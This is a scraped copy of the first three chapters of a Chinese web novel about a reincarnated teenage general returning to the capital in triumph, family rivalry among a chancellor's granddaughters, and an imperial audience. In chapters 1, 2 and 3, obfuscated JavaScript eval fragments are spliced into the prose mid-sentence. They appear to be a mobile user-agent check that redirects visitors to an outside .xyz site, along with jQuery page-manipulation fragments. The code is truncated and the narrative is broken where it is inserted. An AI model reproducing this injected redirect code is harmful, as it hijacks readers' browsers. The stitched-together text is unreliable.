《天幕说我是绝嗣帝王的崽》 1. 第 1 章 BY:晋江·丸二缘 大盛朝,泰安二十五年。 十月末的京师,秋风渐起,即使是白天,气温也已经开始有些刺冷。 但这一天,京师的男女老少,不仅没有感到凉意,很多人甚至兴奋和激动到感觉身体在发热。 就连空气中,也充斥着一股炽热澎湃的气息。 这背后的原因无他,战功赫赫的西北边军今天班师回朝了! 为国镇守边疆,大败西桀二十万联军,生擒西桀单于的西北边军,今天凯旋归来了! 当看到西北边军的身影出现在视线中时,街道两旁等候已久的京师百姓们,瞬间爆发出了热烈的欢呼声、呐喊声。 在震天般的鼎沸声浪中,身着黑色盔甲的西北边军将士,步伐齐整,气势肃杀,恍若麟甲泛着森森寒光的墨色巨龙,蜿蜒流动,逶迤绵延。 假使是敌人,看到眼前此情此景,绝对会立刻意识到这是一支真正从尸山血海中走出来的威武之师,然后为之肃然而恐,胆寒心颤。 但此刻,站立在道路两旁的,都是大盛朝最普通的老百姓。 而只要是大盛朝的子民,便都听说过霍英大元帅治军严格的名声。 所有人都知道,霍英元帅带领的西北边军,虽然战力彪悍,但却是一支军纪严明的仁义之师。 所以,即使将士们此刻身上的气势如北疆朔风般凌冽,夹道相迎的百姓们,心中也一点都不害怕,反而还感到一阵心安。 毕竟,关外那些西桀人是出了名的野蛮剽悍、嗜血残暴,时常南下入侵和劫掠大盛。 西北边军越骁勇善战,那也就代表着百姓们的身家性命越安全。 作为西北边军的主帅,霍英一马当先,策马在队伍最前端。 鬓角已染霜华的他,毋庸置疑吸引了最多的注意力。 但凯旋归朝的队伍中,除了他这位老帅外,有一个将领的身影,也出乎意料地攫取了众多目光。 众所周知,人类都是感官动物。 所以,当一干策马的糙汉子军官之中,突然出现一个身骑黑马的俊美年轻军官,这犹如鹤立鸡群的鲜明画面,自然引起了不少百姓的关注与好奇。 “那位小将军是谁呀,看起来年纪轻轻,却竟然能与其他将军一起骑马跟随在霍元帅的身后?” “我听说霍元帅有两个儿子,大儿子虽战死沙场,但二儿子却还平安活着,那位该不会就是霍元帅的二公子吧?” “你这话只猜对了一半,那位确实是霍元帅家的公子,但却并非二公子,而是霍元帅的义子凌戈凌将军。” 说话的络腮胡大叔本是好心解释,但他的这番话语,却是瞬间引起了他周围人的惊呼。 “这位大叔,你没在和我们开玩笑吧?”一个看起来三十出头的男子满脸震惊,“活捉西桀单于的凌戈将军,怎么会是这么一个年轻小伙,他看起来都还没我年纪大呢!” 络腮胡大叔听到男子这番质疑,霎时间面上露出不快之色: “真是的,这种事情,我有什么好和你们开玩笑的?!” 络腮胡大叔:“我自己就是西北人,只是最近过来京师这边跑商。凌戈将军之前在我们那边训练民兵时,我正好在他麾下受过几天的训练!你们说说,我难道还能认错他不成?!” 由于边境地带时常受到来自关外西桀部落以及其他部族的袭扰,西北边军这几年开始在老百姓中间组织民兵训练,希望借此提高边关百姓应对危险的能力。 “俗话说得好,英雄出少年!” 中年大叔望向自己周围的人,一脸骄傲自豪,与有荣焉地说道: “你们别看凌戈将军他年纪小,今年才19岁,但人家的本事可大着呢!要不然,西桀那群狗杂种,也不至于吓到给凌戈将军起了个‘玉面阎罗’的称号!” 听到中年大叔这些细节满满的话语,他身旁的那些老百姓,瞬间都不由信服了他,望向凌戈的眼神也越发充满了敬佩。 而与消息闭塞的寻常百姓相比,此刻坐在那些临街客栈二楼雅间里的达官显贵者,对凌戈的了解,则是多了不少。 毕竟,自从四个月前,凌戈率五百精骑,以雷霆之势突袭西桀联军,于万人之中生擒西桀单于的爆炸性消息传回到京师后,凌戈的相关资料便出现在了京师不少权贵的桌案上。 连带着,关于他这个人的事情,也时常成为众人交谈的话题。 就连不少名门千金,在私下聚会时,也都没少提及他这号人物。 清风楼是京师最顶尖的酒楼。 自从西北边军要班师回朝的事情拍板定案后,这边二楼的临街雅间便迅速被京师各家势力给预定了下来。 此刻,清风楼二楼一间宽敞的雅间中,就坐着几位衣着精致贵气的年轻姑娘。 她们都是当朝宰相孟谦家的孙女。 当身穿墨灰色盔甲的凌戈策马出现在视线中时,二楼雅间中原本还在闲谈的众人,不由都安静了下来,目光朝他那边望了过去。 “嗤!原来传闻中的凌戈就长这样啊?”一道尖锐女声这时突然打破了雅间的安静,“我瞧着,他也没什么了不起的嘛,看起来跟其他穷当兵的没什么两样!” 听到这傲慢刻薄的话语,雅间中不少人都在心中感到不赞同。 但因为说话的人乃是府中嫡出二房家唯一的嫡女孟雪琪,所以庶出三房和四房家的那三位姑娘,都只是微微垂落下双眸,好似压根没听见孟雪琪刚才的那番话。 但坐在孟雪琪对面的孟雪姝,闻言却是不由微蹙柳眉。 她抬眸望向孟雪琪,嗓音似玉坠冰盘般清冽,提醒说道: “二妹妹,落其实者思其树,饮其流者怀其源。若是没有你口中那些‘穷当兵的’,咱们今日也未必能安坐于此间锦绣华屋之中。”* 尽管时间已经过去大半年,孟雪姝却依然清晰记得,早春那会,当西桀单于骤然在关外调集了二十万大军的消息传回京师时,简直是一石激起千层浪。 这是近二十年来,西桀发动的最大规模进攻,且来势汹汹,攻势猛烈。 而面对虎视眈眈的西桀大军,西北边关军加起来却只有五万兵力可用。 尽管这些年来,边关各处都修缮了诸多防御设施,但1比4的兵力差距,还是让得知消息的人,心都不由揪了起来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340503|183416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那段时间里,孟雪姝记得,祖父一直没回府,日夜都住在政事堂那边办公,与朝中的大臣们商议和筹办抵御西桀联军的事情。 山雨欲来风满楼,就连她陪祖母去京郊外的大恩寺礼佛时,都碰到有香客面露惶惶之色,与人交谈着西桀进犯边关的事情。 市面上甚至开始有消息流传,说朝廷已经在调集各地援军,打算往西北那边紧急调兵,以避免出现西桀铁骑踏破边关,一路挥师南下,兵临京师城外的可怖局面。 然而,就在众人都以为大盛即将陷入风雨飘摇之中时,西北边关却突然开始捷报频传。 起初,当西北边军击退西桀联军主力,且斩杀西桀二王子及万余西桀联军的好消息快马加鞭传至京师时,朝野上下一片哗然。 这个战绩实在过于惊人,以至于朝堂上不少人怀疑,消息是否有误,或者说,会否是西桀人在背后捣鬼作祟。 可还没等众人从这个消息的冲击中缓过来时,又一个惊天消息从西北那边八百里加急传到了京师。 发动这次大战的西桀单于,竟然被西北边军给活捉了! 西北那边显然也知道这个消息很是让人震撼,所以在折子里面,将事情的来龙去脉讲得很清晰。 原来,西桀二十万联军兵分数路,主力这一路则是由西桀单于率领。 而在西桀联军主力遭遇大溃败后,西桀单于害怕被全军覆没,便率领剩下万余部属匆忙撤退。 然而,凌戈却早已率五百精锐骑兵,抢先埋伏在西桀单于的退路之上。 等到西桀单于率部下进入伏击圈后,凌戈果断抓住时机,犹如神兵天降,带领那五百精骑猛冲敌阵,以摧枯拉朽之势,打得西桀联军纷纷如惊鸿般仓皇逃窜。 西桀单于向来不可一世,桀骜暴戾,时常掳掠大盛子民为奴做婢,如今却也被凌戈给活捉到手,成为了大盛朝的阶下之囚。 随着这些震撼人心的捷报到来,这段时日笼罩在百姓心头上的愁云惨雾,霎时间是消散殆尽。 孟雪姝久居闺阁,消息闭塞。 看到祖父终于从政事堂回到家中,且脸上还带着淡笑时,她心中是既惊讶又疑惑。 等从祖父那里得知捷报上的消息后,她心中也是跟着松了一口气。 听到祖父对凌戈百般称赞,甚至还说大盛朝又多了一位如同国之柱石的大将时,孟雪姝更是由衷地感到赞同。 古往今来,人人都晓得要擒贼先擒王,但能够做到的,又有多少人? 孟雪姝平日里酷爱翻阅史书,但却还从来没在史书中,看到有谁能够像凌戈如此厉害,在这种极限以少对多的情况下,还能活捉敌军主帅。 孟雪姝虽为闺阁女子,却也忍不住对凌戈这位骁勇之将产生了敬佩之情。 这也正是她在听到堂妹孟雪琪刚才的话语时,替凌戈出声打抱不平的原因所在。 而性情向来骄纵的孟雪琪,在听到孟雪姝反驳自己的话后,脸色却是当场就变得很难看。 她神情阴沉地瞪向孟雪姝,语气中带着很浓郁的不满: “大姐姐,你说那话什么意思,你是想指责我知恩不图报是吗?” 2. 第 2 章 BY:晋江·丸二缘 面对孟雪琪的怒容,孟雪姝丝毫不怵,直接朝她反问道:“难道我们不该对这些将士心存感激吗?” 孟雪琪闻言,望着孟雪姝,突然冷笑了一声: “大姐姐,你是在跟我说什么笑话不成?我堂堂宰相家的嫡孙女,吏部侍郎的千金,那些臭当兵的,也配我感激他们?!” “朝廷又不是没给他们发军饷,他们既然领了军饷,那打战本来就是他们应该做的事情!” 眼见雅间里气氛越来越凝滞,这时跟在孟雪琪身后伺候的王嬷嬷开了口。 她朝孟雪姝笑着打圆场道:“大小姐,您和我家二小姐都是自家姐妹,何必为了一些不值当的外人,而和我们二小姐起龃龉呢?” 对于王嬷嬷和稀泥的做法,孟雪姝神情冷清,直接开口道: “就是因为同属姐妹,我才出言提醒。祖父、祖母多次耳提面命,让我们出门在外,需谨言慎行,不可倚仗家世,恣意妄为!” “二妹妹刚才那些狂言,若是被外人听到,保不齐御史台的诸位御史大人,便会上奏参祖父和二叔一本,弹劾他们身为朝廷命官,却对家人疏于管教,以至于家人言辞狂悖,妄议有功将士!” 本朝的开国皇帝很是重视国家监察体系,因此赋予了御史台极大的权力。 举刺不避乎权贵,犯颜不畏乎逆鳞。* 御史大夫们可以弹劾百官,乃至上疏劝谏帝王。 在先皇执掌朝政时,甚至还出现过御史弹劾宰辅,以至于宰辅被革职失势、抄家流放的情况出现。 孟雪琪本就对孟雪姝刚才出言反驳自己的行为很是恼怒。 现在听到孟雪姝如此不留情面的话语,她更是瞬间勃然大怒,“啪”一声重重拍了下桌案,站起身怒瞪向孟雪姝: “好你个孟雪姝,你说够了没有?!我不过是说了那臭当兵的几句,你至于这么上纲上线吗?!” 孟雪琪说到这,又冷笑了一声,神情轻蔑地俯视着坐在椅上的孟雪姝: “还是说,你是生怕我们大家不知道你孟大小姐自幼长在祖父祖母的膝下,所以才故意动辄就搬出祖父祖母的话来教训人?” 孟雪姝的父母在她年幼时,就接连病亡离世。 孟家大房如今就只剩下孟雪姝这么一个孤女。 所以,孟雪琪的这一番话语,无异于是故意当众揭开孟雪姝的伤疤,然后还要往上面再撒一把盐。 孟雪姝望向孟雪琪的眸光,霎时间变得冷似冰霜。 她薄唇微张,直接朝孟雪琪说道:“你若真觉得自己刚才说的那些话没错,大可现在就尽管去外头说道这事!我倒要看看,最后下不来台的,会是谁!” 孟雪琪本来还在为自己刚刚回怼孟雪姝的话而感到得意畅快。 现在听到孟雪姝这话,她当场就气得涨红了脸。 孟雪琪不是瞎子,她自己也能看到,底下道路两旁挤满的那些百姓,他们每个人脸上都充满了殷切与灿烂的笑容。 每当有西北边军经过,欢呼声与呐喊声,便像是一波推一波的海浪,层层叠叠,绵延不绝。 那些久久不绝的沸腾声浪,震得大地仿佛都在颤动。 孟雪琪不用想都能知道,如果她刚才说的那些话,真的传到了外面,那么孟雪姝刚才所警告的那些,很大可能就会变成现实。 那些天天恨不得自己能青史留名的酸儒御史,绝对不会轻易放过这么一个能拿她当筏子的好机会。 但让性情高傲的孟雪琪在此刻向孟雪姝低头,孟雪琪又着实咽不下心中的那口气。 她梗着脖子,朝孟雪姝继续嘴硬说道: “孟雪姝,你少拿这些话来吓唬我!就算凌戈和西北边军深得民心又如何,谁不知道圣上忌……” “孟雪琪,你给我住嘴!我看你真是昏了头!隔墙有耳的道理,你难道都不晓得吗?!” 孟雪姝这时猛地站起身来,低声呵斥着打断了孟雪琪的话。 而在孟雪姝的怒目瞪视下,孟雪琪这时候也终于意识到了自己的失言,下意识心虚地抿了下嘴巴。 京师稍微有点权势或者脑子活泛的人,都看得出以大元帅霍英为首的西北边军如今虽战功彪炳,但也正面临着功高震主的风险。 可这事知道归知道,若是真有人敢在此时将这事搬到台面上,戳破这最后一层窗户纸,那恐怕当今圣上第一个出手收拾的对象,不是霍英,反而会是这个出头鸟了。 孟雪琪在家骄纵惯了,所以在从差点闯祸的心虚中缓过来后,又觉得自己刚才那样被孟雪姝当众呵斥很跌份和丢脸。 但是,她这会儿在孟雪姝面前,也确实是硬不起腰杆子来。 最终,她只能是恼羞成怒地恨恨瞪了一眼孟雪姝,然后一甩袖子,转身夺门而出。 孟雪琪离开的姿态很是高傲,但在场所有人都看得出,她这是无能狂怒,拿孟雪姝没办法,所以只能怒而离场。 王嬷嬷和孟雪琪的另外两个婢女见状,自然是急忙跟着追了出去。 看到孟雪琪她们主仆离去,孟家三房家的孟雪锦当即拉着妹妹孟雪绣从椅子上站起身,她朝孟雪姝开口道: “大姐姐,我身体突然有些不适,雪绣恐怕得先和我回府了。” 听到孟雪锦说她和孟雪绣也要离开,孟雪姝丝毫不感到意外。 她淡淡地点了点头,道:“好,那你们自去吧。” 孟雪姝话音落下后,孟雪锦和孟雪绣姐妹俩,迅速就带着各自婢女也出了屋。 这时,注意到坐在自己斜对面的孟雪兰脸上一副纠结又犹豫的模样,孟雪姝随即又开了口: “四妹妹,你也跟着雪锦她们回去吧,这样路上还能和她们聊天解乏。” 孟雪兰出自孟家四房,比今年17岁的孟雪姝小两岁,在孟家女孩中排行第四。 而孟雪兰听到孟雪姝这话,顷刻间就站起了身来,但脸上同时又露出一副担忧的模样: “大姐姐,如果我走了,那这里岂不是就剩你一个人了吗?” 孟雪姝声音淡淡:“没事的,还有吴嬷嬷和晴芷她们在这陪我呢。” “这、这样啊,那我就先回去了。大姐姐,我们待会府里见。” 孟雪兰说罢后,很快就带着婢女匆匆踏出屋门,朝孟雪锦和孟雪绣她们姐妹那边追了过去。 而在她们离去后,晴芷把雅间门带上,回到孟雪姝身前,忍不住就替孟雪姝打抱不平: “小姐,我看这个四小姐,就是存心欺负您好脾气!她要走直接走就是了,又没人拦着她!她刚才摆出那副可怜模样,不就是存心等着您主动开口嘛!” 听到晴芷开口指责府中的主子,行事老成的吴嬷嬷立刻就瞪了她一眼: “你这小丫头,说话真是没把门,竟然连四小姐都敢编排!四小姐是咱们姑娘的堂妹,你说她的坏话,若是被外面人给听着了,咱们姑娘指不定就要被人说是不懂得怜恤姐妹!” 晴芷本来只是一时气愤,听到吴嬷嬷这话,瞬间也意识到了自己的失言,急忙一脸懊恼地朝孟雪姝道:“对不起,小姐,我刚才不该那样说四小姐的!” 孟雪姝没有立刻答复晴芷这话,而是朝吴嬷嬷和晴芷说道: “反正她们都已经走了,你们站了这么久,不如先坐下来歇会脚吧。” 看到自家小姐似乎并没有责怪自己的意思,晴芷脸上表情微微放松了一些。 等吴嬷嬷和晴芷俩人都落座在小凳上后,孟雪姝望向吴嬷嬷,嗓音温和地说道: “嬷嬷,谢谢你刚才对晴芷的提醒。我们出门在外,确实是需要言行谨慎些,免得落了话柄在别人手中。” 吴嬷嬷是孟雪姝母亲从娘家带过来的大丫鬟。 孟雪姝母亲在病逝前,特意将自己信得过的吴嬷嬷派到孟雪姝身边照顾她。 吴嬷嬷从小照顾孟雪姝长大,与孟雪姝有多年情谊,但却从来不倚老卖老。 眼下听到孟雪姝朝自己道谢,她心中虽感到一阵抚慰,却也急忙开口道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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凌戈观察力敏锐,注意到这一情况后,想到这时代对于女子名声的重视,他迅速收回了自己的视线,好似刚才只是随意一瞥,并没有什么特殊含义。 凌戈和孟雪姝刚才的对视,隐晦而短暂。 再加上此刻临街的那些二楼雅间基本都窗户敞开着,众人一时间竟无法确定,凌戈刚才看的到底是哪个雅间。 就连孟雪姝身边的晴芷,也都语气不确定地说道:“刚才那位凌戈将军是不是在看咱们这边啊?” 吴嬷嬷语气笃定:“肯定不是,他又不认识咱们,看咱们做什么呢?” 孟雪姝听着晴芷和吴嬷嬷的对话,再想到刚才那个意料之外的对视,她不由下意识攥了下手中的青色丝帕。 凯旋的队伍一直往前行进,等到孟雪姝收拾好心情,抬眸重新往下面街道看去时,凌戈那锋锐冷峻的身影,已经消失在了她的视线中。 …… 随着队伍与皇宫的距离越来越近,凌戈的心情,也慢慢变得开始沉重了起来。 他对于孟宰相家那位二小姐刚才说的很多话,都是嗤之以鼻的态度,毕竟哪里都有这种白眼狼,没必要过多地在乎这些白眼狼的想法。 但孟雪琪刚才隐晦提及的“功高震主”,倒确实是个大麻烦。 他义父霍英戍守西北边关十余年,即使他义父并不是喜欢独揽权势的人,但这么多年的时间下来,西北边军也的确成了名副其实的“霍家军”。 系统此刻已经回到凌戈体内,感受到凌戈心中的忧虑后,他当即操着一口小奶音朝凌戈说道: “凌戈,要不咱们还是造反吧!这样一来,你们就不用担心什么功高震主了!” “算了,你又不是不知道,我义父他没有造反的打算。”凌戈在脑中用意识回复系统。 早在这次进京之前,凌戈便不抱希望地去试探了一下霍英,想看看自家义父会否有起兵造反的想法。 可是,正如凌戈所了解的那样,霍英的确没有那么大的野心。 霍英凭借他从前和当今圣上的相处经验,选择赌皇帝不会赶尽杀绝。 但凌戈自重生投胎以来,就在西北边疆长大。 这次是他头一回进京,他以前从来没有和皇帝打过交道。 所以,比起霍英来,凌戈对当今这位皇帝是信心缺缺。 眼见视线中开始出现皇宫的模样,凌戈心中的警惕,更是不禁暗暗提了起来。 3. 第 3 章 BY:晋江·丸二缘 因为西桀单于被活捉的缘故,凯旋的队伍在抵达皇宫正门盛安门后,还向站在城楼上观礼的盛昭帝进行了声势浩大的献俘仪式。 关于西桀单于的处理,朝廷早在之前就已经商量出了决议。 城楼上,盛昭帝身着天子绣龙衮服,头戴十二旒冕冠。 他神情肃穆地颁布诏令,宣布用西桀单于的人头,来告慰此战中流血牺牲的大盛战士与黎民百姓。 而在隆重的献俘仪式结束后,便到了该论功行赏的时候了。 皇宫,正殿。 光可鉴人的金砖地面上,文武百官按品级分列两侧,目光低垂,神情恭谨。 在霍英的带领下,凌戈及其他一众身穿玄甲的将士,依制向盛昭帝稽首叩拜,三呼万岁。 御座之上,盛昭帝在霍英等人行礼完毕后,突然站起身,从御阶之上快步走了下来。 他走到霍英面前,伸出双手,弯腰将霍英亲自从地上扶了起来。 他嘴角带笑,朝霍英说道: “爱卿不必多礼!自从得知西桀悍然兴兵,二十万联军陈兵边境的消息,朕在京中实属是夜不能寐,食不下咽!好在我们大盛朝还有爱卿你这么一位擎天驾海之将,这才能克敌制胜,屡获大捷!” 盛昭帝说罢,将右手轻轻搭在了霍英的肩上: “爱卿若是有什么想要的赏赐,今日便尽管跟朕直言!” “朕必无有不允,好报爱卿的护国之功!” 听到盛昭帝这番感情充沛的话语,霍英脸上露出了受宠若惊的神情。 他后退一步,朝盛昭帝弯腰作了个长揖: “陛下此言,实在是令臣心生羞愧!” “此番大胜,全赖陛下天恩浩荡,将士们为报效陛下,浴血奋战,奋勇杀敌,这才得以御敌于国门之外!” “臣不过谨遵圣命行事,万万不敢贪功为己有!” 听到霍英这谦逊的答复,盛昭帝脸上笑容顷刻间加深了一些。 他上前一步,伸手虚扶了霍英一把: “爱卿何必如此自谦?你我君臣相得二十余载,爱卿能力如何,朕又岂能不知?西北边塞这些年来,全赖有爱卿坐镇,朕与百姓这才得以夜夜安枕酣睡!” 凌戈此刻跪在霍英身后不远处,听到盛昭帝这么说,他下意识用眼角余光看了一眼盛昭帝。 注意到盛昭帝眼底泛着的淡淡青黑,他忍不住在心中轻笑了一声。 “爱卿如此劳苦功高,寻常赏赐,实在难表朕之情意。” 盛昭帝望着霍英,脸上噙着淡笑:“这样吧,朕今日便特封爱卿为忠勇侯,食邑千户,爵传三世!本朝自开国以来,封侯者屈指可数……” 盛昭帝说到这,突然敛起了嘴角的笑。 他看着霍英,声音沉沉地说道:“望爱卿,秉节持重,勿负君恩!” 盛昭帝话音刚落,霍英当即跪地叩首,声音恭敬又带着几分明显的激动: “陛下待臣,恩重似山,纵臣肝脑涂地,亦难报君恩!臣心中别无他念,唯愿陛下圣体安康,福寿绵长,万岁,万岁,万万岁!” 听到霍英这答复,盛昭帝嘴角瞬间满意地往上扬了起来。 他朝身后的太监示意道: “魏平,快快帮朕把忠勇侯给扶起来,地砖寒凉,免得伤了忠勇侯的膝盖!” 魏平乃是宫中太监总管,从小太监时便跟在盛昭帝身边伺候,颇得盛昭帝信任。 听到盛昭帝的命令后,他瞬间满脸笑容地朝霍英走了过来。 霍英自觉自己身强体壮,但看到魏平朝自己伸手,他也没傻愣愣地拒绝,而是在魏平的搀扶下,顺势从地上站了起来。 这时,盛昭帝又突然开口,语气带着感慨: “西北边疆罡风凛冽,真乃苦寒之地!朕与爱卿不过两年未见,爱卿鬓角便又多了几分霜华。” 望着霍英,盛昭帝笑脸吟吟说道: “朕想着,爱卿现今也已年老体弱,不如今后便留在京中颐养天年?这样爱卿闲暇无事时,还可进宫与朕弈棋垂钓,忠勇侯你觉得朕这提议可好?” 霍英早在听到盛昭帝封自己为忠勇侯时,就猜到了盛昭帝肯定还留有后手。 现在听到盛昭帝让自己留在京中荣养,他心中一点也没感到意外,很是顺从就接受了盛昭帝这个安排。 但此刻飘在凌戈身旁的小蓝球系统,却是忿忿不平地朝凌戈说道: “义父他怎么就年老体弱了啊?明明他昨天早上晨练时,还能和凌戈你打得有来有回呢!” 因为凌戈的关系,系统也习惯跟着凌戈喊霍英为义父。 “照我看,该退休的人,是这个老皇帝才对!”系统朝凌戈吐槽,“这老皇帝的面色,看着可比咱们义父差多了,一看就是身体不怎么硬朗的模样!” 凌戈早就了解系统是不懂得政治的单细胞性格。 听到系统这些话后,他便朝系统解释道: “这跟义父他身体状况如何,其实并没有太大的关系。皇帝他这是恩威并施,借着替义父身体着想的由头,顺势让义父他交出手中的兵权来。” “若是这皇帝他之后真能不搞出什么幺蛾子来,那义父他老人家也算是得偿所愿,顺利功成身退了!” 凌戈13岁入军营那年,就与霍英相识。霍英觉得凌戈武学天赋出众,不忍埋没他的才能,便将他收为义子,带在身边教导。 经过这些年的相处,凌戈早已将霍英视作亲父。 他对霍英也很是了解,知道他并非恋栈权位之人。 所以,假如霍英能和盛昭帝达成默契,那这样的结果,于私于公,都未尝不是好事。 毕竟,换位思考一下,若他此刻是盛昭帝,那他肯定也不会放心让威望日高的霍英再继续手握兵权。 而霍英既然无心那金銮宝座,那在这时候,选择急流勇退,交出手中兵权,也确实是最合适的选择。 只要盛昭帝还顾忌名声,不希望自己在史书上遗臭万年,那盛昭帝肯定就会厚待霍英,让霍英能够安稳善终。 凌戈认为,在他义父已经进京的情况下,盛昭帝还大方到愿意拿出可传三世的侯爵之位,来与他义父和平交换兵权,那么可见盛昭帝也并不是那种非要赶尽杀绝的戾君。 凌戈能明显感受得到,此刻朝堂上的气氛,骤然间比刚才那会轻松了不少。 而盛昭帝也不知是一时忘了,还是有意敲打,直到此刻,才出声让凌戈他们这些跪着的将士免礼平身。 此次西北边军战绩辉煌,立下不世之功,盛昭帝除了奖赏霍英这个元帅外,自然还得奖励其他一众将士。 凌戈虽只是五品武官,但因着他这次战功赫赫,所以盛昭帝坐回到御座上后,第一个点到的,便是他的名字。 看到凌戈上前一步,从一众武将中站出来,盛昭帝原本轻松的心情,不由又感到有些复杂。 他虽然早就知道凌戈今年才19岁,甚至还未及冠,但真正亲眼看到凌戈,他还是不由为凌戈的年轻感到惊叹。 就是这样一位年轻小将,在这次战争中,发挥了决定性的重要作用。 普通百姓或许不知晓,但盛昭帝却很清楚,在凌戈活捉西桀单于之前,凌戈就已经通过阵前斗将,斩杀掉了西桀单于的二儿子。 盛昭帝虽没接触过那位西桀二王子,但却也从兵部过往递交的情报中了解过,知道这位西桀二王子据说是天生蛮力,甚至还曾经在草原上赤手空拳打死过一头野狮。 正是因为这位西桀二王子在草原上是出了名的勇猛凶残,西桀单于才敢在大战之前,向霍英提出阵前斗将的想法,希望双方各派出10位勇士进行群战。 西桀单于阵前斗将的本意,是想要借此打击大盛朝这边将士的气势。 对于西桀二王子充满信心的他,甚至当众放出狠话,说西桀绝对能够在斗将环节中,以最暴烈血腥的杀戮方式,像宰杀羔羊一样,轻松就将大盛朝派出的那10个将士给杀死。 然而,现实情况却是,那位西桀二王子在面对凌戈时,蠢笨得像是一头野猪。 他连五招都没过完,就已经被凌戈一枪.刺穿咽喉,“砰”一声重重倒在了地上。 随后,凌戈收回长枪,手腕轻巧一抖,枪尖上的血珠,霎时间化为尘土上朵朵绽放的凄艳血花。 原本叫嚣不停的西桀联军,目睹这一幕后,瞬间变得鸦雀无声,纷纷目光惊惧地看着凌戈那冷峻沉稳的身影。 而大盛朝这边,却是倏然爆发出了震天的欢呼叫好声。 将士们一个个面色涨红,热血澎湃,不约而同高喊着凌戈的名字。 在这场阵前斗将中,凌戈手持银色长枪,宛若化身执掌生死的地府判官。 除了西桀二王子外,还有另外两个所谓西桀勇士,也成了他的枪下亡魂。 而在凌戈的助力下,另外那九个参与斗将的大盛将士,也顺利在这场战斗中存活了下来。 虽然还是有两位年轻军官不可避免地受了重伤,但比起西桀那边九死一伤的情况,西北边军可以称得上是大获全胜。 西桀单于原本是想借这场阵前斗将来打压大盛的军队士气,却没想到,反而是搬起石头砸了自己的脚。 西桀此次来袭,之所以能够聚齐二十万兵士,是因为西桀还联合了西北草原上其余十三个中小部落。 这些部落,本是因利而来,现在见形势不妙,自己在这次大战中可能捞不着什么好处,甚至反而会踢着铁板,当场就有数个部落开始打退堂鼓,想要退兵回草原深处,保存住自己的有生力量。 西桀单于虽为联军统帅,但在这样的情形下,自然也难以驾驭得住其他部落首领。 未战先乱,在这样军心不齐的情况下,西桀联军自然更不可能是万众一心的西北边军对手。 等到西桀单于被凌戈活捉的消息传开,其余西桀联军顷刻间更是士气一落千丈,纷纷四散奔逃,只求活命。 正殿之内,盛昭帝望着御阶之下站立的凌戈,一时间心中是又喜又愁。 大盛如今看起来好似是太平之象,实际却存在不少隐忧。 虽然西桀联军这一次遭遇了大败,可大盛朝的北方边域之外,东桀部落近年来也开始越发势大。 西桀和东桀两百年前本同属一族,后面因为权力斗争,分为了两个部落。 东桀部落为了逃避来自西桀的追杀,便转移到了草原东部,也就是大盛东北边界之外的草原上。 东桀这些年虽不如西桀那样气焰嚣张,却也是跃跃欲试,小动作频频不止。 而除了北边这些蛮夷部落外,东南沿海处,又一直倭患不断,倭寇袭扰日益猖獗,沿海百姓深受其害,苦不堪言。 还有关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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凌戈这一世出生在西北边疆的一座小城中,从小就父不明,相依为命的母亲在他7岁那年,又不幸因病离世。 好在他并非真正的幼儿,凭借着上一世的记忆,依然平安活到了13岁。 在他13岁那年,正巧碰到西北边军征兵,他便借着自己高大的身材,谎称自己已经18岁,然后顺利被招进了西北边军的队伍中。 凌戈进部队的第一个月,就打遍军营无敌手,因此引来了霍英的注意和召见。 霍英与凌戈详谈一番后,提出了自己想要收凌戈为义子的想法。 凌戈本想拒绝,但霍英却直接表示,若是凌戈不愿意跟在他身边,那就只能离开兵营了。 原来,霍英在注意到凌戈的存在后,私下派亲兵去查了下凌戈的信息,然后很快就发现了凌戈实际年龄只有13岁的事实。 凌戈不愿意离开军营,毕竟部队是他两辈子最熟悉的地方。 他上一世在孤儿院长大,长大后进入部队,因为能力出众,25岁便被破格提拔为特种部队的中队长。 他之所以会转世重生到这个古代世界,就是因为他在一次带队执行特殊任务期间,为了让队友能够有活命的机会,主动选择了殿后。 凌戈觉得自己的灵魂只属于军营,为了留在部队中,他只好顺着霍英的要求,将霍英认为了义父。 一开始,凌戈对霍英并没有太多的感情,但霍英是真的将凌戈视为了自己的孩子。 他不仅将家传武学传给凌戈,还带着凌戈学习各种兵法,试图将自己的毕生所学,倾囊相授给凌戈。 凌戈的心又不是铁打的,自然不可能不受触动,久而久之,就真的将霍英视为了自己的亲父。 而盛昭帝这边,在听到凌戈对自己的答复后,心中又不禁产生了些对霍英的羡慕。 如果凌戈是个精明自私的人,那在面对他刚才的询问时,凌戈其实该尽量淡化自己和霍英的关系,这样对凌戈未来的官途属于是有百利而无一害。 但凌戈却没有这么做,甚至反而当着他的面,表现出了自己对霍英的在意和亲近。 盛昭帝自知自己算不上是什么拥有雄才伟略的明君,但他大致也能猜得到,凌戈这行为背后藏着的意义。 想到这,盛昭帝不由在心中暗暗叹了一口气。 霍英的运气实在是太好了,随便收个义子,就能碰到凌戈这样天赋绝伦的英才。 而凌戈这样本该心高气傲、桀骜不驯的人,却还难得的是个知恩图报的孝子。 想到这,盛昭帝心中情绪骤然变得更加复杂。 作为帝王而言,盛昭帝希望看到的,是凌戈和霍英撇清关系。 但从私心来说,他其实很欣赏凌戈这样有情有义的人。 不过,虽然心中欣赏凌戈,盛昭帝也依然打算按原计划,对凌戈进行下敲打,免得凌戈恃功而傲。 然而,正当他打算开口时,一个小太监突然神情慌张地从外面跑进了正殿,声音惶恐地朝盛昭帝高呼道: “陛、陛下,外面天象有异,仙人显灵了!” 凌戈:“……” 啥情况啊? 